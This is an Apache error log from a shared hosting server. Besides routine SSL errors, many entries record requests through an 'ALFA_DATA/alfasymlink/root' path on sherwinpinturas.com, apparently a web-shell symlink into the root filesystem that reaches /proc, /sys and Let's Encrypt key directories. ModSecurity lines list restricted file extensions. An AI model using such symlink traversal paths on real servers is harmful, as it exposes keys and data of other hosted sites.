[Mon Oct 26 14:23:48.019840 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 98.82.107.102:28154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:51.828304 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.21.204.95:25530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:55.886413 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 107.20.255.194:25708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:59.800657 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 100.29.164.178:1530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:03.843403 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.45.92.83:27947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:20.216630 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 44.209.187.99:63311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:23.996886 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.205.113.104:14811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:27.829175 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.157.84.74:49599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:36.023193 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 23.23.213.182:61427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:46.941765 2026] [security2:error] [pid 3074873:tid 3074873] [client 85.208.96.200:40970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hungarian/errmsg.sys"] [unique_id "at-a7iE-ZP4qhScpL9OOTQAAAAU"]
[Mon Oct 26 14:24:46.942175 2026] [security2:error] [pid 3074873:tid 3074873] [client 85.208.96.200:40970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hungarian/errmsg.sys"] [unique_id "at-a7iE-ZP4qhScpL9OOTQAAAAU"]
[Mon Oct 26 14:24:46.942520 2026] [security2:error] [pid 3074873:tid 3074873] [client 85.208.96.200:40970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hungarian/errmsg.sys"] [unique_id "at-a7iE-ZP4qhScpL9OOTQAAAAU"]
[Mon Oct 26 14:24:49.239734 2026] [authz_core:error] [pid 3064909:tid 3064909] [client 52.87.218.9:53382] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:24:52.467922 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 52.45.77.169:55051] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:24:56.069963 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 18.215.77.19:30200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:03.870227 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 50.19.79.213:12575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:07.907145 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.219.81.66:20607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:12.099215 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 52.201.155.215:7423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:20.090207 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 3.225.45.252:34289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:28.181519 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.235.239.240:2599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:35.958935 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 35.170.205.140:41075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:51.859767 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.84.147.79:65103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:55.736065 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.28.49.152:23373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:25:59.913901 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 3.209.174.110:36257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:11.941068 2026] [ssl:error] [pid 3074873:tid 3074873] (22)Invalid argument: [client 54.235.172.108:12172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:18.746697 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.15:33164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS2/close_delay
[Mon Oct 26 14:26:20.238855 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/chyrp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:20.947570 2026] [core:crit] [pid 3068535:tid 3068535] (13)Permission denied: [client 185.191.171.10:44590] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/logs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/logs/' is executable
[Mon Oct 26 14:26:21.498279 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/atlantis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:22.368031 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/openeshop/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:22.416914 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/koken/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:22.853204 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp68/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:23.659017 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.164.106.236:44329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:23.965741 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:24.311426 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/leafpub/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:24.422415 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/procwire/
[Mon Oct 26 14:26:24.516597 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp51/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:25.357134 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp56/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:25.746442 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/sugar/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:25.805270 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp62/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.010072 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp70/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.190055 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp58/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.255168 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp60/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.399538 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp64/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.578436 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/drupal89/
[Mon Oct 26 14:26:26.616282 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp61/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.784639 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/drupal9/
[Mon Oct 26 14:26:26.848258 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/alegro/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.888552 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/pydio/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:26.984948 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp53/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.126216 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/spip/
[Mon Oct 26 14:26:27.138002 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp52/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.147470 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp63/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.471194 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/avactis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.598103 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/livesite/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.644198 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 50.17.193.48:29639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:27.693489 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp50/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:27.806795 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/magento2/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 14:26:27.869186 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/buggenie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:28.248623 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/igalerie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:28.402771 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/carbon/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:28.711988 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/toaster/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:28.861075 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/yourls/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:28.909703 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/cube/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.002767 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/bludit/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.089876 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp59/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.226779 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp55/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.289918 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp49/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.721224 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp66/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.805508 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp54/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:29.997881 2026] [access_compat:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/webasyst/
[Mon Oct 26 14:26:30.017154 2026] [access_compat:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/rainloop/
[Mon Oct 26 14:26:30.134398 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/monstra/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.245937 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/anchor/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.346471 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp65/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.396534 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/nukeviet/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.646416 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp67/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.697979 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp57/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.731328 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/wp69/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:30.760420 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/piwik/
[Mon Oct 26 14:26:30.957074 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/drupalcms/
[Mon Oct 26 14:26:31.005924 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/drupal8/
[Mon Oct 26 14:26:31.136795 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/magento241/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 14:26:31.205305 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/bbpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:31.645026 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/drupal10/
[Mon Oct 26 14:26:31.785155 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/phpwcms/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:31.816101 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/zen/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:31.875307 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/selfoss/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:31.896877 2026] [core:alert] [pid 3068535:tid 3068535] [client 185.191.171.10:44590] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/softaculous/classicpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 14:26:39.876024 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.6.97.88:11779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:43.542637 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 52.1.106.130:44895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:51.611430 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 18.214.124.6:43877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:26:59.546224 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.210.114.189:4376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:03.718969 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 44.212.145.46:23602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:15.769537 2026] [security2:error] [pid 3077536:tid 3077536] [client 154.243.209.91:2601] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/bullet.php"] [unique_id "at-bg6rAMmuTbk6594wULgAAAAA"], referer: https://parkeranders.com/
[Mon Oct 26 14:27:19.380039 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 35.170.205.140:2353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:27.138159 2026] [core:crit] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.15:18068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/live/' is executable
[Mon Oct 26 14:27:27.138381 2026] [core:crit] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.15:18068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/accounts/' is executable
[Mon Oct 26 14:27:27.138434 2026] [core:crit] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.15:18068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/keys/' is executable
[Mon Oct 26 14:27:27.156717 2026] [core:crit] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.15:18068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/letsencrypt/archive/' is executable
[Mon Oct 26 14:27:27.304543 2026] [ssl:error] [pid 3064918:tid 3064918] (5)Input/output error: [client 100.29.34.97:21482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:43.249954 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.156.55.147:37006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:51.013510 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 18.232.11.247:34325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:27:54.954741 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 52.204.89.12:23520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_piix/module/sections/__bug_table
[Mon Oct 26 14:27:58.943293 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.205.113.104:61838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:28:07.217516 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 54.88.84.219:33895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/compact
[Mon Oct 26 14:28:23.548475 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 3.94.156.104:39434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/driver/uevent
[Mon Oct 26 14:28:34.650349 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.84.161.62:46428] AH02013: coalesce failed to read from data bucket
